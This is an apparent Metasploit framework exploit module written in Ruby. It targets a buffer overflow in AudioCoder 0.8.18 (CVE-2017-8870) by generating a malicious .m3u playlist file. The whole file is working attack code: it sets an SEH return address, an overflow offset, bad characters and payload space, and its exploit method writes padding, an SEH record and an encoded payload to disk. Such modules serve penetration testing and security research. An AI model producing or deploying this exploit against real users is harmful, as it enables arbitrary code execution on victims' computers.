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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::FILEFORMAT
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  include Msf::Exploit::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'AudioCoder .M3U Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in AudioCoder 0.8.18. The vulnerability
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          occurs when adding an .m3u, allowing arbitrary code execution with the privileges
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          of the user running AudioCoder. This module has been tested successfully on
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          AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'metacom', # Vulnerability discovery and PoC
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          'juan vazquez' # Metasploit module
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        ],
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        'References' => [
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          [ 'CVE', '2017-8870' ],
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          [ 'OSVDB', '92939' ],
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          [ 'EDB', '25141' ]
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process'
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        },
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        'Platform' => 'win',
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        'Payload' => {
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          'Space' => 6596,
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          'BadChars' => "\x00\x5c\x40\x0d\x0a",
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          'DisableNops' => true,
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          'StackAdjustment' => -3500,
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        },
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        'Targets' => [
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          [
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            'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',
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            {
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              'Ret' => 0x66011b56, # ppr from libiconv-2.dll
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              'Offset' => 765
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            }
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          ]
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2013-05-01',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
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      ]
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    )
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  end
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  def exploit
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    buffer = "http://"
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    buffer << rand_text(target['Offset'])
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    buffer << generate_seh_record(target.ret)
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    buffer << payload.encoded
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    file_create(buffer)
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  end
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end
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